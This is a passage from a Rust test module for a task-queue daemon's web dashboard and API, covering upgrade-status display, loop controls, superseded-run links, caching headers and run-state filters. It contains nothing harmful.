15998 "the button says what it is waiting for"
15999 );
16000 assert!(APP_JS.contains("if (!out.to)"));
16003 }
16004
16005 #[test]
16006 fn stopping_the_loop_arms_but_starting_does_not() {
16007 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
16010 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
16011 assert!(APP_JS.contains("confirmed(button, question)"));
16012 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
16015 assert!(APP_JS.contains("const label = btn.textContent;"));
16016 assert!(!APP_JS.contains("Neither direction is guarded"));
16017 }
16018
16019 #[test]
16020 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
16021 assert!(
16022 APP_JS.contains("state.health.version"),
16023 "the operator wants to know what is running even with nothing newer"
16024 );
16025 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
16026 }
16027
16028 #[test]
16029 fn the_upgrade_button_names_its_destination() {
16030 assert!(
16031 APP_JS.contains("`Update to ${update.to}`"),
16032 "pressing the button should not be a surprise about what it moves to"
16033 );
16034 }
16035
16036 #[test]
16037 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
16038 for stage in ["downloading", "replaced", "parking", "restarting"] {
16039 assert!(
16040 APP_JS.contains(&format!("\"{stage}\"")),
16041 "the phone must be able to tell {stage} apart from the others"
16042 );
16043 }
16044 assert!(APP_JS.contains(".waiting_on"));
16045 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
16050 assert!(APP_JS.contains("reconnects on its own"));
16051 }
16052
16053 #[test]
16054 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
16055 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
16064 ..APP_JS.find("function upgrade(").expect("upgrade")];
16065 assert!(
16066 !body.contains(
16067 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
16068 ),
16069 "a failed upgrade must not take the whole strip over the way it used to"
16070 );
16071 assert!(
16072 body.contains("upgradeFailNote"),
16073 "the failure has to reach the loop's own note instead"
16074 );
16075 assert_eq!(
16079 body.matches("upgradeFailNote].filter(Boolean).join")
16080 .count(),
16081 2,
16082 "both loop-why writers (quiet and control) must fold the note in"
16083 );
16084 }
16085
16086 #[test]
16087 fn an_overdue_upgrade_eventually_asks_for_a_human() {
16088 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
16091 assert!(APP_JS.contains("function upgradeOverdue("));
16092 }
16093
16094 #[test]
16095 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
16096 assert!(
16097 APP_JS.contains("Updated to ${upgradeInfo.to"),
16098 "the operator who asked for the restart wants to know it worked"
16099 );
16100 }
16101
16102 #[test]
16103 fn an_error_is_visible_from_where_the_button_is() {
16104 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
16109 ..APP_CSS.find(".alert-text").expect(".alert-text")];
16110 assert!(
16111 alert.contains("position: fixed"),
16112 "an error about the thing under your thumb has to be visible from \
16113 where your thumb is: {alert}"
16114 );
16115 assert!(
16116 alert.contains("z-index: 25"),
16117 "above the dock (20) and the run-actions FAB (15), so neither \
16118 buries it: {alert}"
16119 );
16120 assert!(
16121 alert.contains("var(--tap)"),
16122 "and clear of the dock and the home indicator: {alert}"
16123 );
16124 assert!(
16127 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
16128 "the FAB's column stays free: {alert}"
16129 );
16130 }
16131
16132 #[tokio::test]
16133 async fn an_older_attempt_says_what_replaced_it() {
16134 let fx = Fixture::start().await;
16135 let q = fx.queue();
16136 let runs = fx.runs();
16137 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
16138 write_run(&runs, first, RunStatus::Stalled);
16139 write_run(&runs, second, RunStatus::Blocked);
16140
16141 let mut t = Task::new(
16142 "one task".to_owned(),
16143 "do it".to_owned(),
16144 PathBuf::from("/repo"),
16145 Source::Human,
16146 );
16147 t.runs = vec![first.to_owned(), second.to_owned()];
16148 q.put(&mut t).expect("put");
16149
16150 let rows = fx.get("/api/runs").await.json();
16154 let by = |short: &str| -> Value {
16155 rows.as_array()
16156 .unwrap()
16157 .iter()
16158 .find(|r| r["short"] == short)
16159 .cloned()
16160 .unwrap_or(Value::Null)
16161 };
16162 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
16163 assert!(
16164 by("bbbb")["superseded_by"].is_null(),
16165 "the latest attempt is not superseded by anything"
16166 );
16167 assert!(APP_JS.contains("run.superseded_by"));
16169 assert!(APP_JS.contains("Superseded by"));
16170 }
16171
16172 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
16173 let mut t = Task::new(
16174 "one task".to_owned(),
16175 "do it".to_owned(),
16176 PathBuf::from("/repo"),
16177 Source::Human,
16178 );
16179 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
16180 t.status = status;
16181 t
16182 }
16183
16184 #[test]
16185 fn source_link_picks_the_page_that_filed_the_task() {
16186 let agent = |node: &str| Source::Agent {
16187 run: "20260904-014455-ab12".to_owned(),
16188 node: node.to_owned(),
16189 };
16190 let chat = source_link(&agent("chat")).expect("chat link");
16191 assert_eq!(chat.kind, "chat");
16192 assert_eq!(chat.id, "20260904-014455-ab12");
16193 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
16194 let run = source_link(&agent("implement")).expect("run link");
16195 assert_eq!(
16196 (run.kind, run.href.as_str()),
16197 ("run", "#/runs/20260904-014455-ab12")
16198 );
16199 assert_eq!(source_link(&Source::Human), None);
16200 assert_eq!(
16201 source_link(&Source::Issue {
16202 number: 3,
16203 repo: "o/r".to_owned()
16204 }),
16205 None
16206 );
16207 let odd = source_link(&Source::Agent {
16208 run: "a b/c".to_owned(),
16209 node: "chat".to_owned(),
16210 })
16211 .expect("link");
16212 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
16213 }
16214
16215 #[test]
16216 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
16217 assert!(
16218 !APP_JS.contains("src.node === \"chat\""),
16219 "inline href rule is back"
16220 );
16221 assert!(
16222 APP_JS.matches("sourceLinkOf(").count() >= 4,
16223 "helper must serve every page"
16224 );
16225 assert!(
16226 APP_JS.matches("openChatLink(").count() >= 3,
16227 "the run page still needs its explicit chat link"
16228 );
16229 assert!(
16230 !APP_JS.contains("const openChat = el("),
16231 "the Queue card duplicates its source label link again"
16232 );
16233 assert!(
16234 APP_JS.contains("metaKids.push(link ? el(\"a\""),
16235 "the task page must link a chat source label too"
16236 );
16237 }
16238
16239 #[test]
16240 fn task_ref_carries_the_source_link_for_a_chat_task() {
16241 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
16242 t.source = Source::Agent {
16243 run: "20260904-014455-ab12".to_owned(),
16244 node: "chat".to_owned(),
16245 };
16246 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
16247 let v = serde_json::to_value(&out).expect("json");
16248 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
16249 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
16250 assert_eq!(v["source_label"], t.source.label());
16251
16252 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
16253 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
16254 .expect("json");
16255 assert!(v["source_link"].is_null(), "{v}");
16256 }
16257
16258 #[test]
16259 fn task_view_serializes_source_link() {
16260 let mut t = Task::new(
16261 "t".to_owned(),
16262 "t".to_owned(),
16263 PathBuf::from("/repo"),
16264 Source::Agent {
16265 run: "20260901-000000-aaaa".to_owned(),
16266 node: "implement".to_owned(),
16267 },
16268 );
16269 t.runs.clear();
16270 let v = serde_json::to_value(TaskView::from(t)).expect("json");
16271 assert_eq!(v["source_link"]["kind"], "run", "{v}");
16272 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
16273 }
16274
16275 #[tokio::test]
16276 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
16277 let fx = Fixture::start().await;
16278 let runs = fx.runs();
16279 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
16280 write_run(&runs, old, RunStatus::Blocked);
16281 write_run(&runs, new, RunStatus::Merged);
16282 let mut t = outcome_task(&[old, new], TaskStatus::Done);
16283 fx.queue().put(&mut t).expect("put");
16284
16285 let view = fx.get(&format!("/api/runs/{old}")).await.json();
16286 let task = &view["task"];
16287 assert_eq!(task["status"], "done");
16288 assert_eq!(task["is_latest"], false);
16289 assert_eq!(task["latest"]["short"], "bbbb");
16290 assert_eq!(task["finished_by"]["id"], new);
16291 assert_eq!(task["finished_by"]["outcome"], "merged");
16292 assert_eq!(task["closed_by_hand"], false);
16293 assert_eq!(view["status"], "blocked", "the run keeps its own status");
16294 assert!(APP_JS.contains("finished_by"));
16295 assert!(APP_JS.contains("superseded by run"));
16296 }
16297
16298 #[tokio::test]
16299 async fn the_latest_run_reports_a_held_task_without_a_successor() {
16300 let fx = Fixture::start().await;
16301 let runs = fx.runs();
16302 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
16303 write_run(&runs, old, RunStatus::Stalled);
16304 write_run(&runs, new, RunStatus::Blocked);
16305 let mut t = outcome_task(&[old, new], TaskStatus::Held);
16306 fx.queue().put(&mut t).expect("put");
16307
16308 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
16309 assert_eq!(task["status"], "held");
16310 assert_eq!(task["is_latest"], true);
16311 assert!(task["latest"].is_null());
16312 assert!(task["finished_by"].is_null());
16313 assert_eq!(task["closed_by_hand"], false);
16314 }
16315
16316 #[tokio::test]
16317 async fn a_direct_run_has_no_task_outcome() {
16318 let fx = Fixture::start().await;
16319 let runs = fx.runs();
16320 let id = "20260901-000000-aaaa";
16321 write_run(&runs, id, RunStatus::Blocked);
16322 let view = fx.get(&format!("/api/runs/{id}")).await.json();
16323 assert!(view["task"].is_null());
16324 }
16325
16326 #[test]
16327 fn task_outcome_does_not_guess_a_finishing_run() {
16328 let a = "20260901-000000-aaaa";
16329 let b = "20260901-000000-bbbb";
16330 let c = "20260901-000000-cccc";
16331 let dir = tempfile::tempdir().expect("tempdir");
16332 write_run(dir.path(), a, RunStatus::Blocked);
16333 write_run(dir.path(), b, RunStatus::VerifiedNoop);
16334 let read = |id: &str| read_run(dir.path(), id).ok();
16336 let t = outcome_task(&[a, b, c], TaskStatus::Done);
16339 let out = task_outcome(&t, a, 3, read);
16340 assert!(out.finished_by.is_none());
16341 assert!(out.closed_by_hand);
16342 let latest = out.latest.expect("latest");
16343 assert_eq!(latest.id, c);
16344 assert_eq!(latest.status, None);
16345 assert_eq!(latest.outcome, "record unreadable");
16346
16347 write_run(dir.path(), c, RunStatus::Ready);
16349 let t = outcome_task(&[a, c], TaskStatus::Done);
16350 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
16351 assert_eq!(out.finished_by.expect("finisher").id, c);
16352 assert!(!out.closed_by_hand);
16353
16354 let t = outcome_task(&[a, b, a], TaskStatus::Held);
16356 assert!(task_outcome(&t, a, 3, read).is_latest);
16357 }
16358
16359 #[tokio::test]
16360 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
16361 let fx = Fixture::start().await;
16366 let q = fx.queue();
16367 let runs = fx.runs();
16368 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
16369 write_run(&runs, first, RunStatus::Blocked);
16370 write_run(&runs, second, RunStatus::Merged);
16371
16372 let mut t = Task::new(
16373 "one task".to_owned(),
16374 "do it".to_owned(),
16375 PathBuf::from("/repo"),
16376 Source::Human,
16377 );
16378 t.runs = vec![first.to_owned(), second.to_owned()];
16379 q.put(&mut t).expect("put");
16380
16381 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
16382 assert_eq!(earlier["superseded_by"], "dddd");
16383 assert_eq!(earlier["latest_attempt"]["id"], second);
16384 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
16385 assert_eq!(
16386 earlier["latest_attempt"]["resolved"], true,
16387 "the run that replaced it landed, so this one reads as settled"
16388 );
16389
16390 let later = fx.get(&format!("/api/runs/{second}")).await.json();
16391 assert!(
16392 later["superseded_by"].is_null(),
16393 "the latest attempt is not superseded by anything"
16394 );
16395 assert!(
16396 later["latest_attempt"].is_null(),
16397 "the latest attempt has no later attempt of its own"
16398 );
16399
16400 assert!(APP_JS.contains("run.latest_attempt"));
16407 assert!(APP_JS.contains("data-superseded"));
16408 assert!(APP_JS.contains("#/runs/${latest.id}"));
16409 }
16410
16411 #[tokio::test]
16412 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
16413 let fx = Fixture::start().await;
16419 let q = fx.queue();
16420 let runs = fx.runs();
16421 let (a, b, c) = (
16422 "20260901-000000-aaaa",
16423 "20260901-000000-bbbb",
16424 "20260901-000000-cccc",
16425 );
16426 write_run(&runs, a, RunStatus::Blocked);
16427 write_run(&runs, b, RunStatus::Blocked);
16428 write_run(&runs, c, RunStatus::Merged);
16429
16430 let mut t = Task::new(
16431 "retried twice".to_owned(),
16432 "do it".to_owned(),
16433 PathBuf::from("/repo"),
16434 Source::Human,
16435 );
16436 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
16437 q.put(&mut t).expect("put");
16438
16439 let view = fx.get(&format!("/api/runs/{a}")).await.json();
16440 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
16441 assert_eq!(
16442 view["latest_attempt"]["id"], c,
16443 "the chain's current head, not the intermediate Blocked retry"
16444 );
16445 assert_eq!(view["latest_attempt"]["resolved"], true);
16446
16447 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
16448 assert_eq!(mid["latest_attempt"]["id"], c);
16449 assert_eq!(mid["latest_attempt"]["resolved"], true);
16450 }
16451
16452 #[tokio::test]
16453 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
16454 let fx = Fixture::start().await;
16455 let q = fx.queue();
16456 let runs = fx.runs();
16457
16458 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
16461 write_run(&runs, still_blocked_a, RunStatus::Blocked);
16462 write_run(&runs, still_blocked_b, RunStatus::Blocked);
16463 let mut t1 = Task::new(
16464 "still stuck".to_owned(),
16465 "do it".to_owned(),
16466 PathBuf::from("/repo"),
16467 Source::Human,
16468 );
16469 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
16470 q.put(&mut t1).expect("put");
16471 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
16472 assert_eq!(view1["latest_attempt"]["resolved"], false);
16473 assert_eq!(view1["latest_attempt"]["status"], "blocked");
16474 assert_eq!(view1["latest_attempt"]["done"], true);
16475
16476 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
16478 write_run(&runs, run_a, RunStatus::Blocked);
16479 write_run(&runs, run_b, RunStatus::Implementing);
16480 let mut t3 = Task::new(
16481 "retrying".to_owned(),
16482 "do it".to_owned(),
16483 PathBuf::from("/repo"),
16484 Source::Human,
16485 );
16486 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
16487 q.put(&mut t3).expect("put");
16488 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
16489 assert_eq!(view3["latest_attempt"]["id"], run_b);
16490 assert_eq!(view3["latest_attempt"]["resolved"], false);
16491 assert_eq!(view3["latest_attempt"]["done"], false);
16492
16493 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
16498 write_run(&runs, noop_a, RunStatus::Blocked);
16499 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
16500 let mut t2 = Task::new(
16501 "claims done".to_owned(),
16502 "do it".to_owned(),
16503 PathBuf::from("/repo"),
16504 Source::Human,
16505 );
16506 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
16507 q.put(&mut t2).expect("put");
16508 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
16509 assert_eq!(
16510 view2["latest_attempt"]["resolved"], false,
16511 "an unverified no-op claim must not read as a confirmed finish"
16512 );
16513
16514 assert!(APP_JS.contains("latest.resolved"));
16517 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
16520 assert!(APP_JS.contains("Latest attempt: "));
16521 assert!(APP_JS.contains("in flight"));
16522 assert!(APP_JS.contains("not resolved"));
16523 }
16524
16525 #[tokio::test]
16526 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
16527 let fx = Fixture::start().await;
16528 let js = fx.get("/app.js").await;
16534 assert_eq!(js.status, 200);
16535 let tag = js
16536 .header("etag")
16537 .expect("an etag to revalidate against")
16538 .to_owned();
16539 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
16540 assert_eq!(
16541 js.header("cache-control"),
16542 Some("no-cache, must-revalidate"),
16543 "the phone has to ask every time"
16544 );
16545
16546 let again = fx
16549 .get_with("/app.js", &[("if-none-match", tag.as_str())])
16550 .await;
16551 assert_eq!(
16552 again.status, 304,
16553 "a deck it already has costs one round trip"
16554 );
16555 assert!(again.body.is_empty(), "304 carries no body");
16556
16557 let weak = fx
16560 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
16561 .await;
16562 assert_eq!(weak.status, 304);
16563 let stale = fx
16564 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
16565 .await;
16566 assert_eq!(stale.status, 200, "an older build must be replaced");
16567 assert!(stale.body.contains("renderRunActions"));
16568 }
16569
16570 #[test]
16571 fn the_task_detail_has_an_actions_fab_and_sheet() {
16572 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
16573 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
16574 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
16575 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
16577 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
16578 assert!(APP_JS.contains("renderTaskActions(task);"));
16580 assert!(APP_JS.contains("renderTaskActions(null);"));
16581 let sheet = APP_JS
16583 .find("function renderTaskActions")
16584 .expect("sheet renderer");
16585 let body = &APP_JS[sheet..sheet + 3000];
16586 assert!(body.contains("changePriority("));
16587 assert!(body.contains("openTaskEdit(task)"));
16588 assert!(body.contains("renderTaskHoldBox(host"));
16589 assert!(body.contains("renderTaskDoneBox(host"));
16590 assert!(body.contains("renderTaskDeleteBox(host"));
16591 assert!(APP_JS.contains("API.priority(id)"));
16592 assert!(APP_JS.contains("API.deleteTask(id)"));
16593 assert!(APP_JS.contains("location.hash = \"#/queue\""));
16595 assert!(APP_JS.contains("$(\"task-actions-error\")"));
16597 }
16598
16599 #[test]
16600 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
16601 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
16602 let actions = INDEX_HTML
16603 .find("id=\"run-actions-box\"")
16604 .expect("actions box");
16605 assert!(task < actions, "the task entry comes first in the sheet");
16606 assert!(APP_JS.contains("renderRunTaskEntry"));
16607 assert!(APP_JS.contains("\"Open task \""));
16608 assert!(APP_JS.contains("started directly, no task"));
16610 assert!(APP_JS.contains("sheet-task-link"));
16611 assert!(APP_JS.contains("task-chip-link"));
16612 }
16613
16614 #[test]
16615 fn the_deck_never_sends_the_operator_to_a_terminal() {
16616 assert!(
16619 !APP_JS.contains("Run `magi fold` first"),
16620 "the deck must offer the fold, not prescribe a shell command"
16621 );
16622 assert!(APP_JS.contains("foldRun:"));
16623 assert!(APP_JS.contains("resumeRun:"));
16624 assert!(APP_JS.contains("renderRunActions"));
16625
16626 assert!(APP_JS.contains("armedFold"));
16628 assert!(APP_JS.contains("Yes, fold worktrees"));
16629
16630 assert!(APP_JS.contains("can no longer be resumed"));
16633 }
16634
16635 #[test]
16636 fn a_finished_run_explains_itself_with_its_own_last_line() {
16637 assert!(
16643 !APP_JS.contains("collapsed on agent quota"),
16644 "a stall must not be explained by a cause the deck did not check"
16645 );
16646 assert!(
16647 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
16648 "and a block must not offer a guess with an `or` in it"
16649 );
16650
16651 assert!(
16655 APP_JS.contains("setText(r.event, run.event || \"\")"),
16656 "the run's last line is rendered unconditionally"
16657 );
16658 assert!(
16659 !APP_JS.contains("moving && run.event"),
16660 "and never gated on the run still moving"
16661 );
16662
16663 assert!(APP_JS.contains("lost to quota"));
16665 }
16666
16667 #[test]
16689 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
16690 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
16691 let shapes_body_start =
16692 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
16693 let shapes_close = APP_JS[shapes_body_start..]
16694 .find("].map(")
16695 .expect("the shape list is closed by its done-computing .map(...)")
16696 + shapes_body_start;
16697 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
16698
16699 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
16700 for entry in shapes_src.split('{').skip(1) {
16701 let waiting = entry.contains("waiting: true");
16702 let dead = entry.contains("live: \"dead\"");
16703 let status_at =
16704 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
16705 let status_end = entry[status_at..]
16706 .find('"')
16707 .expect("the status string is closed")
16708 + status_at;
16709 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
16710 }
16711 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
16712
16713 let done_rule_marker = "done: !";
16717 let done_rule_at = APP_JS[shapes_close..]
16718 .find(done_rule_marker)
16719 .expect("the done rule follows the shape list")
16720 + shapes_close
16721 + done_rule_marker.len();
16722 let includes_at = APP_JS[done_rule_at..]
16723 .find(".includes(shape.status)")
16724 .expect("the done rule ends in .includes(shape.status)")
16725 + done_rule_at;
16726 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
16727 .trim()
16728 .trim_start_matches('[')
16729 .trim_end_matches(']')
16730 .split(',')
16731 .map(|s| s.trim().trim_matches('"'))
16732 .filter(|s| !s.is_empty())
16733 .collect();
16734
16735 let shapes: Vec<(bool, String, bool, bool)> = shapes
16736 .into_iter()
16737 .map(|(waiting, status, dead)| {
16738 let done = !not_done.contains(&status.as_str());
16739 (waiting, status, dead, done)
16740 })
16741 .collect();
16742
16743 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
16747 if waiting {
16748 return "waiting";
16749 }
16750 if dead
16751 && !matches!(
16752 status,
16753 "merged"
16754 | "ready"
16755 | "stalled"
16756 | "blocked"
16757 | "failed"
16758 | "verified_noop"
16759 | "superseded"
16760 | "already_in_base"
16761 )
16762 {
16763 return "stale";
16764 }
16765 match status {
16766 "merged" | "ready" => "landed",
16767 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
16768 | "already_in_base" => "ended",
16769 _ => "flight",
16770 }
16771 }
16772
16773 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
16776 match filter_key {
16777 "active" => !done,
16778 "flight" => !done && !waiting && !dead,
16779 "stale" => !done && !waiting && dead,
16780 "waiting" => waiting,
16781 "done" => done,
16782 "all" => true,
16783 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
16784 }
16785 }
16786
16787 let compatible = |section: &str, filter_key: &str| {
16788 shapes.iter().any(|(waiting, status, dead, done)| {
16789 run_section(*waiting, status, *dead) == section
16790 && filter_matches(filter_key, *waiting, *dead, *done)
16791 })
16792 };
16793
16794 let expected = [
16799 ("waiting", [true, false, false, true, true, true]),
16800 ("stale", [true, false, true, false, false, true]),
16801 ("flight", [true, true, false, false, false, true]),
16802 ("landed", [false, false, false, false, true, true]),
16803 ("ended", [false, false, false, false, true, true]),
16804 ];
16805 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
16806
16807 for (section, wants) in expected {
16808 for (filter_key, want) in filter_keys.iter().zip(wants) {
16809 assert_eq!(
16810 compatible(section, filter_key),
16811 want,
16812 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
16813 );
16814 }
16815 }
16816
16817 assert!(
16820 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
16821 );
16822 assert!(APP_JS.contains(
16823 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
16824 ));
16825 assert!(APP_JS.contains(
16826 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
16827 ));
16828 }
16829
16830 #[tokio::test]
16831 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
16832 let dir = tempfile::tempdir().expect("tempdir");
16836 let explicit = dir.path().join("not-a-checkout");
16837 std::fs::create_dir_all(&explicit).expect("create dir");
16838 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
16839
16840 let missing = dir.path().join("does-not-exist-at-all");
16841 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
16842 }
16843
16844 #[test]
16845 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
16846 assert!(APP_JS.contains("function statsDonutArcs"));
16847 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
16848 assert!(APP_JS.contains("function statusInBucket"));
16850 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
16851 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
16852 let buckets = [
16853 "merged",
16854 "ready",
16855 "in_progress",
16856 "blocked",
16857 "failed",
16858 "verified_noop",
16859 "superseded",
16860 "stalled",
16861 ];
16862 for key in buckets {
16863 let var = format!("--verdict-{key}:");
16864 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
16866 assert!(
16867 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
16868 "{key}"
16869 );
16870 }
16871 }
16872}